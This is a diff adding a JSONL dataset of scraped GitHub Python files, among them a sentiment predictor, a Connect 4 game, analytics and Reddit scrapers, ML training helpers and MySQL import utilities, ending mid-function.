diff --git "a/1949.jsonl" "b/1949.jsonl" new file mode 100644--- /dev/null +++ "b/1949.jsonl" @@ -0,0 +1,847 @@ +{"seq_id":"36987711099","text":"import pickle\n\nmodel = None\nwith open(\"files\\\\saved_model\\\\rf_model_balanced.pickle\", 'rb') as file:\n model = pickle.load(file)\n\nreviews = [\n '''\n I had a couple of meetings in the nearby area and hence chosen this hotel. Rooms are below average. No amenities present. TV seemed to be from stone age. The moment I stepped in, I started searching for another hotel in the same locality. Some of the staffs lack basic manners. The only plus point is that this hotel is in Brigade road; a shoppers street. So I was able to stay out than stay in the hotel.\n '''\n]\n\nimport pandas as pd\n\ndoc2vec_model = None\ntfidf = None\nwith open(\"files\\\\saved_model\\\\doc2vec_model.pickle\", 'rb') as file:\n doc2vec_model = pickle.load(file)\nwith open(\"files\\\\saved_model\\\\tfidf.pickle\", 'rb') as file:\n tfidf = pickle.load(file)\n# with open(\"files\\\\saved_model\\\\tfidf_result.pickle\", 'rb') as file:\n# tfidf_result = pickle.load(file)\n\n\n# read data\nreviews_df = pd.DataFrame(reviews, columns=['review'])\n\n\n# Clean the data\n# return the wordnet object value corresponding to the POS tag\nfrom nltk.corpus import wordnet\n\n\ndef get_wordnet_pos(pos_tag):\n if pos_tag.startswith('J'):\n return wordnet.ADJ\n elif pos_tag.startswith('V'):\n return wordnet.VERB\n elif pos_tag.startswith('N'):\n return wordnet.NOUN\n elif pos_tag.startswith('R'):\n return wordnet.ADV\n else:\n return wordnet.NOUN\n\n\nimport string\nfrom nltk import pos_tag\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import WhitespaceTokenizer\nfrom nltk.stem import WordNetLemmatizer\n\ndef clean_text(text):\n # lower text\n text = text.lower()\n # tokenize text and remove puncutation\n text = [word.strip(string.punctuation) for word in text.split(\" \")]\n # remove words that contain numbers\n text = [word for word in text if not any(c.isdigit() for c in word)]\n # remove stop words\n stop = stopwords.words('english')\n text = [x for x in text if x not in stop]\n # remove empty tokens\n text = [t for t in text if len(t) > 0]\n # pos tag text\n pos_tags = pos_tag(text)\n # lemmatize text\n text = [WordNetLemmatizer().lemmatize(t[0], get_wordnet_pos(t[1])) for t in pos_tags]\n # remove words with only one letter\n text = [t for t in text if len(t) > 1]\n # join all\n text = \" \".join(text)\n return (text)\n\n\n# clean text data\nreviews_df[\"review_clean\"] = reviews_df[\"review\"].apply(lambda x: clean_text(x))\n\n\ndoc2vec_df = reviews_df[\"review_clean\"].apply(lambda x: doc2vec_model.infer_vector(x.split(\" \"))).apply(pd.Series)\ndoc2vec_df.columns = [\"doc2vec_vector_\" + str(x) for x in doc2vec_df.columns]\nreviews_df = pd.concat([reviews_df, doc2vec_df], axis=1)\n\ntfidf_result = tfidf.transform(reviews_df[\"review_clean\"]).toarray()\ntfidf_df = pd.DataFrame(tfidf_result, columns = tfidf.get_feature_names())\ntfidf_df.columns = [\"word_\" + str(x) for x in tfidf_df.columns]\ntfidf_df.index = reviews_df.index\nreviews_df = pd.concat([reviews_df, tfidf_df], axis=1)\n\nignore_cols = ['review', 'is_bad_review', 'review_clean', 'neg', 'neu', 'pos', 'compound', 'nb_chars', 'nb_words']\nfeatures = [c for c in reviews_df.columns if c not in ignore_cols]\n\n# df = reviews_df[features]\n# df.to_csv(\"files\\\\temp.csv\")\n# exit()\nprint(model.predict(reviews_df[features]))\ncategory = \"Positive\" if model.predict(reviews_df[features]) == 0 else \"Negative\"\nprint(category)\n","repo_name":"chirag2796/Machine-Learning","sub_path":"Projects/Hotel-Reviews-Ideathon/predict_sentiment.py","file_name":"predict_sentiment.py","file_ext":"py","file_size_in_byte":3407,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"} +{"seq_id":"34198748688","text":"import numpy as np\nimport pygame\nimport sys\nimport math\n\n# global variable in CAPS\nROW_COUNT = 6\nCOLUMNS = 7\n\n# colours as global variables for easy readability\nBLUE = (0, 0, 255)\nRED = (255, 0, 0)\nBLACK = (0, 0, 0)\nYELLOW = (255, 255, 0)\n\n# the size of each square and circle\nSQUARE_SIZE = 100\nRADIUS = int(SQUARE_SIZE / 2 - 5)\n\n# create a matrix of 0's for the board of the game\ndef create_board():\n board = np.zeros((ROW_COUNT, COLUMNS))\n return board\n\n\n# give the row, column, and piece. Set the value in the index board[row][column] == piece\ndef drop_piece(board, row, col, piece):\n board[row][col] = piece\n\n\n# check if there is an empty index in the column\ndef is_valid_location(board, col):\n return board[ROW_COUNT - 1][col] == 0\n\n\n# starting from index 0, return the first index with value 0\ndef get_next_open_row(board, col):\n for r in range(ROW_COUNT):\n if board[r][col] == 0:\n return r\n\n\n# print the board, but flipped\ndef print_board(board):\n print(np.flip(board, 0))\n\n\n# pass in the board and the piece to check\ndef winning_move(board, piece):\n # check for horizontal winning scenario\n for c in range(COLUMNS - 3):\n for r in range(ROW_COUNT):\n if board[r][c] == piece and board[r][c + 1] == piece and board[r][c + 2] == piece and board[r][\n c + 3] == piece:\n return True\n\n # check for vertical winning scenario\n for r in range(ROW_COUNT - 3):\n for c in range(COLUMNS):\n if board[r][c] == piece and board[r + 1][c] == piece and board[r + 2][c] == piece and board[r + 3][\n c] == piece:\n return True\n\n # check for positive slope diagonal winning scenario\n for r in range(ROW_COUNT - 3):\n for c in range(COLUMNS - 3):\n if board[r][c] == piece and board[r + 1][c + 1] == piece and board[r + 2][c + 2] == piece and board[r + 3][\n c + 3] == piece:\n return True\n # check for negative slope diagonal winning scenario\n for c in range(COLUMNS - 3):\n # for r in range(ROW_COUNT starting from index 3)\n for r in range(3, ROW_COUNT):\n if board[r][c] == piece and board[r - 1][c + 1] == piece and board[r - 2][c + 2] == piece and board[r - 3][\n c + 3] == piece:\n return True\n\n\n# draw a board using pygame.draw\ndef draw_board(board):\n # for all index's in matrix, draw a blue rectangle and a black circle\n for c in range(COLUMNS):\n for r in range(ROW_COUNT):\n pygame.draw.rect(screen, BLUE, (c * SQUARE_SIZE, r * SQUARE_SIZE + SQUARE_SIZE, SQUARE_SIZE, SQUARE_SIZE))\n pygame.draw.circle(screen, BLACK, (int(c * SQUARE_SIZE + SQUARE_SIZE / 2), int(r * SQUARE_SIZE + SQUARE_SIZE + SQUARE_SIZE / 2)), RADIUS)\n\n # for all index's in matrix, if the index is equal to 1 or 2, draw a red or yellow circle respectively\n for c in range(COLUMNS):\n for r in range(ROW_COUNT):\n if board[r][c] == 1:\n pygame.draw.circle(screen, RED, (int(c * SQUARE_SIZE + SQUARE_SIZE / 2), height - int(r * SQUARE_SIZE + SQUARE_SIZE / 2)), RADIUS)\n elif board[r][c] == 2:\n pygame.draw.circle(screen, YELLOW, (int(c * SQUARE_SIZE + SQUARE_SIZE / 2), height - int(r * SQUARE_SIZE + SQUARE_SIZE / 2)), RADIUS)\n pygame.display.update()\n\n\nboard = create_board()\nprint_board(board)\n\n# initialize pygame and configure window\npygame.init()\npygame.display.set_caption(\"Connect 4\")\nwidth = COLUMNS * SQUARE_SIZE\nheight = (ROW_COUNT + 1) * SQUARE_SIZE\nsize = (width, height)\nscreen = pygame.display.set_mode(size)\ndraw_board(board)\npygame.display.update()\n\n# set font using pygame.font\nmy_font = pygame.font.SysFont(\"monospace\", 75)\n\ngame_over = False\nturn = 0\n\n# game loop\nwhile not game_over:\n\n # pygame listens to events\n for event in pygame.event.get():\n # if the x button is pressed, quit\n if event.type == pygame.QUIT:\n sys.exit()\n\n # detecting mouse motion\n if event.type == pygame.MOUSEMOTION:\n # draw black rectangle to cover the circles\n pygame.draw.rect(screen, BLACK, (0, 0, width, SQUARE_SIZE))\n # pos_x, or x co-ordinate, equals index 0 of event.pos\n pos_x = event.pos[0]\n # when the turn equals zero, draw a red circle, else, draw a yellow circle\n if turn == 0:\n pygame.draw.circle(screen, RED, (pos_x, int(SQUARE_SIZE / 2)), RADIUS)\n else:\n pygame.draw.circle(screen, YELLOW, (pos_x, int(SQUARE_SIZE / 2)), RADIUS)\n pygame.display.update()\n\n # detecting mouse press\n if event.type == pygame.MOUSEBUTTONDOWN:\n pygame.draw.rect(screen, BLACK, (0, 0, width, SQUARE_SIZE))\n # Ask for Player 1 Input\n if turn == 0:\n\n pos_x = event.pos[0]\n col = int(math.floor(pos_x / SQUARE_SIZE))\n\n if is_valid_location(board, col):\n row = get_next_open_row(board, col)\n drop_piece(board, row, col, 1)\n\n if winning_move(board, 1):\n label = my_font.render(\"PLAYER 1 WINS!!\", True, RED)\n # print label at co-ordinates\n screen.blit(label, (40, 10))\n game_over = True\n\n # Ask for Player 2 Input\n else:\n pos_x = event.pos[0]\n col = int(math.floor(pos_x / SQUARE_SIZE))\n\n if is_valid_location(board, col):\n row = get_next_open_row(board, col)\n drop_piece(board, row, col, 2)\n\n if winning_move(board, 2):\n label = my_font.render(\"PLAYER 2 WINS!!\", True, RED)\n screen.blit(label, (40, 10))\n game_over = True\n\n print_board(board)\n draw_board(board)\n # add one to turn, then modulo to get back to 1, or 0\n turn += 1\n turn = turn % 2\n\n if game_over:\n pygame.time.wait(3000)\n","repo_name":"whelephant/pythonCollection","sub_path":"connect4.py","file_name":"connect4.py","file_ext":"py","file_size_in_byte":6152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"74466231846","text":"import os\nimport datetime\nimport argparse\nimport os\nimport time\nfrom apiclient.discovery import build\nimport httplib2\nfrom oauth2client import client\nfrom oauth2client import file\nfrom oauth2client import tools\n\nos.chdir(os.path.dirname(os.path.realpath(__file__)))\n\nSCOPES = ['https://www.googleapis.com/auth/analytics.readonly']\nDISCOVERY_URI = ('https://analyticsreporting.googleapis.com/$discovery/rest')\nCLIENT_SECRETS_PATH = './client_secrets.json' # Path to client_secrets.json file.\n\nglobal appname\nglobal analytics\n\ndef initialize_analyticsreporting():\n \"\"\"Initializes the analyticsreporting service object.\n\n Returns:\n analytics an authorized analyticsreporting service object.\n \"\"\"\n # Parse command-line arguments.\n parser = argparse.ArgumentParser(\n formatter_class=argparse.RawDescriptionHelpFormatter,\n parents=[tools.argparser])\n flags = parser.parse_args([])\n\n # Set up a Flow object to be used if we need to authenticate.\n flow = client.flow_from_clientsecrets(\n CLIENT_SECRETS_PATH, scope=SCOPES,\n message=tools.message_if_missing(CLIENT_SECRETS_PATH))\n\n # Prepare credentials, and authorize HTTP object with them.\n # If the credentials don't exist or are invalid run through the native client\n # flow. The Storage object will ensure that if successful the good\n # credentials will get written back to a file.\n storage = file.Storage('./analyticsreporting.dat')\n credentials = storage.get()\n if credentials is None or credentials.invalid:\n credentials = tools.run_flow(flow, storage, flags)\n http = credentials.authorize(http=httplib2.Http())\n analytics = build('analytics', 'v4', http=http, discoveryServiceUrl=DISCOVERY_URI)\n return analytics\n\n\ndef get_report(analytics):\n # Use the Analytics Service Object to query the Analytics Reporting API V4.\n return analytics.reports().batchGet(\n body={\n 'reportRequests': [\n { 'filtersExpression': 'ga:sessions>0',\n 'pageSize': 10000,\n 'viewId': VIEW_ID,\n 'dateRanges': [{'startDate': 'yesterday', 'endDate': 'yesterday'}],\n 'dimensions': [{'name':'ga:pagePathLevel1'},{'name':'ga:date'}],\n 'metrics': [{'expression': 'ga:sessions'}]\n }]\n }\n ).execute()\ndef get_report_iteration(analytics,nextPageToken):\n # Use the Analytics Service Object to query the Analytics Reporting API V4.\n return analytics.reports().batchGet(\n body={\n 'reportRequests': [\n { 'filtersExpression': 'ga:sessions>0',\n 'pageToken':nextPageToken,\n 'pageSize': 10000,\n 'viewId': VIEW_ID,\n 'dateRanges': [{'startDate': 'yesterday', 'endDate': 'yesterday'}],\n 'dimensions': [{'name':'ga:pagePathLevel1'},{'name':'ga:date'}],\n 'metrics': [{'expression': 'ga:sessions'}]\n }]\n }\n ).execute()\n\n\ndef print_response(response,appname):\n appname = appname.replace('/','_')\n \n file = open('./SaveExtract/'+appname+'.csv','w')\n file.write('PagePathLevel1;Date;Sessions\\n')\n print('processing '+appname+' . . . ')\n for report in response.get('reports',[]):\n columnHeader = report.get('columnHeader', {})\n dimensionHeaders = columnHeader.get('dimensions', [])\n metricHeaders = columnHeader.get('metricHeader', {}).get('metricHeaderEntries', [])\n rows = report.get('data', {}).get('rows', [])\n print(report.get('nextPageToken'))\n for row in rows:\n lst = []\n dimensions = row.get('dimensions', [])\n dateRangeValues = row.get('metrics', [])\n for header, dimension in zip(dimensionHeaders, dimensions):\n lst.append(dimension)\n\n for i, values in enumerate(dateRangeValues):\n for metricHeader, value in zip(metricHeaders, values.get('values')):\n lst.append(value)\n lst[1] = datetime.datetime.strptime(lst[1], '%Y%m%d').strftime('%Y-%m-%d 00:00:00')#lst[1]+' 00:00:00'\n file.write(';'.join(lst).encode('utf-8')+'\\n')\n while report.get('nextPageToken') is not None:\n try:\n analytics = initialize_analyticsreporting()\n response = get_report_iteration(analytics,report.get('nextPageToken'))\n for report in response.get('reports', []):\n\n\n columnHeader = report.get('columnHeader', {})\n dimensionHeaders = columnHeader.get('dimensions', [])\n metricHeaders = columnHeader.get('metricHeader', {}).get('metricHeaderEntries', [])\n rows = report.get('data', {}).get('rows', [])\n print('while',report.get('nextPageToken'))\n for row in rows:\n lst = []\n dimensions = row.get('dimensions', [])\n dateRangeValues = row.get('metrics', [])\n\n for header, dimension in zip(dimensionHeaders, dimensions):\n lst.append(dimension)\n\n for i, values in enumerate(dateRangeValues):\n for metricHeader, value in zip(metricHeaders, values.get('values')):\n lst.append(value)\n lst[1] = datetime.datetime.strptime(lst[1], '%Y%m%d').strftime('%Y-%m-%d 00:00:00')\n file.write(';'.join(lst).encode('utf-8')+'\\n')\n\n except:\n time.sleep(15)\n print(appname+' processed')\n file.close()\n\ndef main():\n analytics = initialize_analyticsreporting()\n response = get_report(analytics)\n print_response(response,appname)\n\nif __name__ == '__main__':\n #yesterday = datetime.datetime.now() - datetime.timedelta(days=1)\n\n #VIEW_ID = '122698944'\n print('cleaning old reports. . .')\n os.system('rm -rf ./SaveExtract/*')\n views_lst = []\n storage = file.Storage('/home/erowz/analytics_Script/analyticsreporting.dat')\n credentials = storage.get()\n if credentials is None or credentials.invalid:\n credentials = tools.run_flow(flow, storage, flags)\n http = credentials.authorize(http=httplib2.Http())\n analytics = build('analytics', 'v3', http=http)\n account_summaries = analytics.management().accountSummaries().list().execute()\n for item in account_summaries['items'][0]['webProperties']:\n #print item['name']\n\n if item['name'] == 'QA site-annonce.fr' or item['name'] == 'QA RealEstate-UK' or item['name'] == 'International Search' or item['name'] == 're.bcdotnet.com' or item['name']== 'erowz.com':\n continue\n else:\n #print item['name']\n\n for element in item['profiles']:\n views_lst.append([element['name'].encode('utf-8'),element['id']])\n for view in views_lst:\n\n VIEW_ID=view[1]\n appname=view[0]\n if appname == 'MobileApp':\n pass\n else:\n main() \n","repo_name":"heisen273/daily_analytics","sub_path":"daily_analytics.py","file_name":"daily_analytics.py","file_ext":"py","file_size_in_byte":6534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"12894263466","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nimport random\nimport time\nimport elasticsearch\nfrom elasticsearch import Elasticsearch\nfrom conf.es_params_define import SAAS, CREATE_INDEX_DSL\nfrom utils.time_utils import TimeUtils\n\n\ndef conn_es():\n rand = random.randint(0, 2)\n url = SAAS[rand]\n _es = Elasticsearch(url)\n _es.cluster.health(wait_for_status='yellow', request_timeout=1)\n\n return Elasticsearch(url)\n\n\ndef get_index_name():\n time_utils = TimeUtils()\n index = time_utils.get_next_month_index()\n indexes = ['qc' + '_' + index, index]\n return indexes\n\n\nif __name__ == '__main__':\n es = conn_es()\n es_index = get_index_name()\n for index in es_index:\n try:\n res = es.indices.create(index=index, body=CREATE_INDEX_DSL)\n print('{}'.format(res))\n if res.get('acknowledged', False):\n print('create index {} success!'.format(index))\n except elasticsearch.exceptions.RequestError as e:\n print('create index {} failed! error : '.format(index, e.error))\n\n\n","repo_name":"gtouchgogo/qtalk_search","sub_path":"service/kafka2es/create_index.py","file_name":"create_index.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"31958003006","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nAdvent of Code 2021 Day 02: Dive!\n\"\"\"\nimport os\n\n\ndef solve01(command_list):\n # part 01 -\n horizontal = 0\n depth = 0\n\n for (direction, unit) in command_list:\n if direction == 'forward':\n horizontal += unit\n elif direction == 'down':\n depth += unit\n elif direction == 'up':\n depth -= unit\n\n distance = horizontal * depth\n\n return distance\n\n\ndef solve02(command_list):\n # part 02 -\n aim = 0\n horizontal = 0\n depth = 0\n\n for (direction, unit) in command_list:\n if direction == 'forward':\n horizontal += unit\n depth += (aim * unit)\n elif direction == 'down':\n aim += unit\n elif direction == 'up':\n aim -= unit\n\n distance = horizontal * depth\n\n return distance\n\n\ndef load_data(filename):\n input_data_file = os.path.join(os.path.dirname(__file__), filename)\n\n with open(input_data_file, 'r') as filehandle:\n input_data = filehandle.read()\n\n # parse data\n command_list = []\n for command in input_data.splitlines():\n direction, unit = command.split(' ')\n command_list.append((direction, int(unit)))\n return command_list\n\n\nif __name__ == '__main__':\n input_data = load_data('input.txt')\n\n answer01 = solve01(input_data)\n print(f\"part01 - Final horizontal position * final depth = {answer01}\")\n\n answer02 = solve02(input_data)\n print(f\"part02 - Final horizontal position * final depth = {answer02}\")\n","repo_name":"grufghr/advent","sub_path":"advent2021/day02/puzzle.py","file_name":"puzzle.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"41663902185","text":"import numpy as np\r\nimport os\r\nimport cv2\r\nimport torch\r\nfrom tqdm import tqdm\r\nimport preprocess\r\nimport network\r\nimport scipy.io as sio\r\n\r\n\r\ndef create_training_data(dataPath):\r\n\r\n keySet = ['n01615121', 'n02099601', 'n02123159', 'n02129604', 'n02317335', 'n02391049', 'n02410509', 'n02422699', 'n02481823', 'n02504458']\r\n # valueSet = ['eagle', 'dog', 'cat', 'tiger', 'star', 'zebra', 'bison', 'antelope', 'chimpanzee', 'elephant']\r\n valueSet = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\r\n categoryDict = dict(zip(keySet, valueSet))\r\n\r\n training_data = []\r\n\r\n for category in keySet: # do dogs and cats\r\n path = os.path.join(dataPath, category)\r\n label = categoryDict[category]\r\n\r\n for img in tqdm(os.listdir(path)): # iterate over each image per dogs and cats\r\n try:\r\n img_array = cv2.imread(os.path.join(path, img), 1)\r\n new_array = preprocess.preprocess(img_array)\r\n training_data.append([new_array, label])\r\n except Exception as e:\r\n print(e)\r\n print(\"N'oluyor?\")\r\n\r\n return training_data\r\n\r\n\r\ndef train_network(dataPath, matPath, networkPath, epochSize, learningRate, hiddenSize, batchSize ):\r\n\r\n try:\r\n m_data = sio.loadmat(matPath)\r\n im_data = m_data['images']\r\n l_data = np.squeeze(m_data['labels'])\r\n except:\r\n print(\"\\nPreprocessing train data\\n\")\r\n training_data = create_training_data(dataPath)\r\n\r\n imgs = []\r\n lbs = []\r\n\r\n for featureVector, label in training_data:\r\n imgs.append(featureVector)\r\n lbs.append(label)\r\n\r\n im_data = np.squeeze(imgs).transpose()\r\n l_data = np.asarray(lbs)\r\n\r\n sio.savemat(matPath, {'images': im_data, 'labels': l_data})\r\n\r\n trainset = network.ProcessedDataset(im_data, l_data)\r\n\r\n trainloader = torch.utils.data.DataLoader(trainset, batch_size=batchSize, shuffle=True, num_workers=0)\r\n\r\n net = network.Feedforward(hiddenSize)\r\n\r\n network.train(net, trainloader, networkPath, learningRate, epochSize)\r\n","repo_name":"zeynepnurozturk/CS484-Image-Analysis","sub_path":"trainNetwork.py","file_name":"trainNetwork.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"15837150321","text":"#filename:ascii_tbl1.py\n#function: display the asciitable, but clear screen first \n#We use the stdin to read the integer for starting (2 digit)\n#use stdin to read the stoping (3 digit)\n#and then use the readline() to read the stdin buffer data\n\"\"\"If there was more than one character to be read at that point (e.g. the newline\nthat followed the two character that was read in)\nWe need use next read() or readline() to read characters that are still be in the buffer\nIt means progarm is waiting for the next read() or readline().\nso it is better to use another read() or readline() to read the data in the buffer\n\"\"\"\n\"\"\"\nand we use the starting and stoping to display the ascii code\nwe use the starting is 33, stoping is 127 for ascii code print\n\"\"\"\n\n#clear the screen \nimport os\nos.system('cls') # window system use this to celar screen\n#os.system('clear') #for Linux\nfrom sys import stdin\n\n\nstarting = stdin.read(2)\nstoping = stdin.read(3)\nlineinput = stdin.readline()\nprint (\"starting=\",starting)\nprint (\"stopping=\",stoping)\nprint (\"linedata=\",lineinput)\n\nfor val in range(int(starting), int(stoping)):\n if (int(starting) - val) % 10 == 0: # each line contains 10 ascii code\n print(\"\\n\")\n print(chr(val), end=' ')\n \n\n\n","repo_name":"Scott-S-Lin/Python_Programming_ChineseBook","sub_path":"ch5/ascii_tbl1.py","file_name":"ascii_tbl1.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"73589950887","text":"\n'''\n-----------------------------\nImports\n=============================\n'''\n\nimport pandas as pd\nimport numpy as np\nimport datetime as dt\n\nimport os\nimport praw\nimport logging\nimport json\nimport tempfile\n\n\nfrom google.cloud import storage\nfrom pathlib import Path\nfrom dotenv import load_dotenv\nfrom psaw import PushshiftAPI\n\n'''\n-----------------------------\nSetup\n=============================\n'''\n\nload_dotenv()\n\nlogger = logging.getLogger(__name__)\n\n# load variables\n# first try to get airflow variables and then default to os variables\ntry:\n from airflow.models import Variable\n reddit_client_id = Variable.get(\n 'REDDIT_CLIENT_ID', default_var=os.environ.get('REDDIT_CLIENT_ID'))\n reddit_client_secret = Variable.get(\n 'REDDIT_CLIENT_SECRET', default_var=os.environ.get('REDDIT_CLIENT_SECRET'))\n reddit_user_agent = Variable.get(\n 'REDDIT_USER_AGENT', default_var=os.environ.get('REDDIT_USER_AGENT'))\n google_storage_bucket_name = Variable.get(\n 'GOOGLE_STORAGE_BUCKET_NAME',\n default_var=os.environ.get('GOOGLE_STORAGE_BUCKET_NAME')\n )\nexcept:\n reddit_client_id = os.environ.get('REDDIT_CLIENT_ID')\n reddit_client_secret = os.environ.get('REDDIT_CLIENT_SECRET')\n reddit_user_agent = os.environ.get('REDDIT_USER_AGENT')\n google_storage_bucket_name = os.environ.get('GOOGLE_STORAGE_BUCKET_NAME')\n\n'''\n-----------------------------\nHelper Functions\n=============================\n'''\n\n\ndef get_subreddit_info(subreddit: str,\n date: dt.date = dt.date.today()\n ) -> dict:\n '''Gets a list of all submissions for a given subreddit and date.'''\n r = praw.Reddit(client_id=reddit_client_id,\n client_secret=reddit_client_secret,\n user_agent=reddit_user_agent)\n api = PushshiftAPI(r)\n\n end = dt.datetime.combine(dt.date.today(), dt.datetime.min.time())\n start = end - dt.timedelta(days=1)\n results = api.search_submissions(\n after=int(start.timestamp()),\n before=int(end.timestamp()),\n subreddit=subreddit,\n stickied=False,\n limit=500\n )\n\n # build json\n sub_info = {\n 'subreddit': subreddit,\n 'date': date.strftime('%Y-%m-%d'),\n 'submissions': [],\n }\n\n for entry in results:\n record = {\n 'id': entry.id,\n 'score': entry.score,\n 'title': entry.title,\n 'author': (entry.author.name if entry.author is not None else None),\n 'comment_count': entry.num_comments\n }\n sub_info['submissions'].append(record)\n sub_info['post_count'] = len(sub_info['submissions'])\n return sub_info\n\n\ndef deliver_subreddit_info(sub_summary: dict):\n blob_path = Path(\n 'subreddit_overview', \n sub_summary['subreddit'],\n sub_summary['date'] + '.json' \n ).as_posix()\n client = storage.Client()\n bucket = client.bucket(google_storage_bucket_name)\n json_temp = tempfile.TemporaryFile('r+')\n json.dump(sub_summary, json_temp)\n json_blob = bucket.blob(blob_path)\n json_temp.seek(0)\n json_blob.upload_from_file(json_temp)\n return blob_path\n\n'''\n-----------------------------\nDAG Functions\n=============================\n'''\n\n\ndef daily_summary_node(subreddit: str,\n date: dt.date = dt.date.today()\n ) -> str:\n sub_summary = get_subreddit_info(\n subreddit,\n date=date \n )\n summary_path = deliver_subreddit_info(sub_summary)\n return summary_path\n","repo_name":"ccastleberry/airflow-dags","sub_path":"services/reddit_scrape/dags/sub_overview_node.py","file_name":"sub_overview_node.py","file_ext":"py","file_size_in_byte":3546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"13836400949","text":"from datetime import timedelta\n\nimport torch\n\n\ndef load_checkpoints(checkpoint_name):\n \"\"\"\n Load a pretrained checkpoint.\n :param checkpoint_name: checkpoint filename\n :return: model.state_dict, source_vocabulary, target_vocabulary,\n \"\"\"\n\n # Get checkpoint from file\n checkpoint = torch.load(checkpoint_name, map_location=torch.device('cpu'))\n\n # The epoch when training has been left\n epoch = checkpoint['epoch']\n\n # The time elapsed during training\n time_elapsed = checkpoint['time_elapsed']\n\n # Get state_dict of the model\n model_state_dict = checkpoint['model_state_dict']\n\n # Get the state_dict of the optimizer\n optimizer_state_dict = checkpoint['optimizer_state_dict']\n\n # Get source language vocabulary\n src_vocabulary = checkpoint['src_vocabulary']\n tgt_vocabulary = checkpoint['tgt_vocabulary']\n\n return model_state_dict, optimizer_state_dict, epoch, time_elapsed, src_vocabulary, tgt_vocabulary\n\n\nif __name__ == \"__main__\":\n model_state_dict, optimizer_state_dict, epoch, time_elapsed, src_vocabulary, tgt_vocabulary = load_checkpoints('checkpoints/CHECKPOINT_WITHOUT_ATT__EN__TO__DE__EPOCH_3__AT__2021_12_26__16_35_07__TRAIN_LOSS__9.pt')\n print(type(src_vocabulary))","repo_name":"mhannani/zinvert","sub_path":"src/utils/load_model.py","file_name":"load_model.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"36362334627","text":"import json\nimport wsgi.common\nimport wsgi.log\nimport behave\n\n@given(u'a valid user uploads log information')\ndef step_impl(context):\n context.response = \"JSON does not conform to schema\"\n\n@then(u'the user receives a \"{text}\" message if the log does not conform to the schema')\ndef step_impl(context, text):\n response = context.flask_app.post(\"policy/log\",\n headers={\"Content-Type\": \"application/json\"},\n data=json.dumps(context.bad_log_documents))\n message = json.loads(json.loads(response.data))\n assert response.status_code == int(text) and message[\"error\"] == context.response\n\n@then(u'the user receives a \"201\" message and the result of the log upload')\ndef step_impl(context):\n response = context.flask_app.post(\"policy/log\",\n headers={\"Content-Type\": \"application/json\"},\n data=json.dumps(context.log_documents))\n assert json.loads(response.data) == context.log_documents\n","repo_name":"EUDAT-B2SAFE/B2SAFE-DPM","sub_path":"web/build/wsgi-test/features/steps/policy_logs.py","file_name":"policy_logs.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"35487175339","text":"import subprocess\n\nbht_path = \"/usr/local/bin/BigHonkingText\"\n\npid1 = subprocess.Popen([bht_path, \"-p0\", \"-h10%\", \"-y80%\", \"BHT UI Test\"])\npid2 = subprocess.Popen([bht_path, \"-p0\", \"-o0.9\", \"-y50%\", \"-fgreen\", \"Proceed\"])\npid3 = subprocess.Popen([bht_path, \"-p0\", \"-o0.9\", \"-y20%\", \"-fred\", \"Cancel\"])\n\nexit_condition = False\n\nwhile not exit_condition:\n\tprocess1 = pid1.poll()\n\tprocess2 = pid2.poll()\n\tprocess3 = pid3.poll()\n\n\tif process1 != None:\n\t\texit_statement = 'Title Bar'\n\t\tpid2.kill()\n\t\tpid3.kill()\n\t\texit_condition = True\n\tif process2 != None:\n\t\texit_statement = 'Proceed'\n\t\tpid1.kill()\n\t\tpid3.kill()\n\t\texit_condition = True\n\tif process3 != None:\n\t\texit_statement = 'Cancel'\n\t\tpid1.kill()\n\t\tpid2.kill()\n\t\texit_condition = True\n\nsubprocess.call([bht_path, \"-p2\", \"-o1\", \"-y45%\", \"-fyellow\", \"User selected \" + exit_statement])\n","repo_name":"univ-of-utah-marriott-library-apple/bht_ui_demo","sub_path":"BHT_UI_Demo.py","file_name":"BHT_UI_Demo.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"72990622569","text":"\"\"\"Utiliites for importing edge, edge_meta, and node_meta into the KnowEnG\nMySQL datatbase.\n\nContains module functions::\n\n import_file(file_name, table, ld_cmd='', dup_cmd='', args=None)\n import_filemeta(version_dict, args=None)\n update_filemeta(version_dict, args=None)\n import_edge(edgefile, args=None)\n import_nodemeta(nmfile, args=None)\n import_pnode(filename, args=None)\n\n\"\"\"\n\nimport os\nimport csv\nimport subprocess\nfrom argparse import ArgumentParser\nimport config_utilities as cf\nimport mysql_utilities as mu\nimport redis_utilities as ru\n\ndef import_file(file_name, table, ld_cmd='', dup_cmd='', args=None):\n \"\"\"Imports the provided file into the KnowEnG MySQL database.\n\n Loads the data into a temporary table in MySQL. It then queries from the\n temporary table into the corresponding permanent table. If a duplication\n occurs during the query, it uses the provided behavior to handle. If no\n behavior is provided, it replaces into the table.\n\n Args:\n file_name (str): path to the file to be imported\n table (str): name of the permanent table to import to\n ld_cmd (str): optional additional command for loading data\n dup_cmd (str): command for handling duplicates\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n db = mu.get_database('KnowNet', args)\n print('Inserting data from ' + file_name +' into ' + table)\n print(ld_cmd) \n 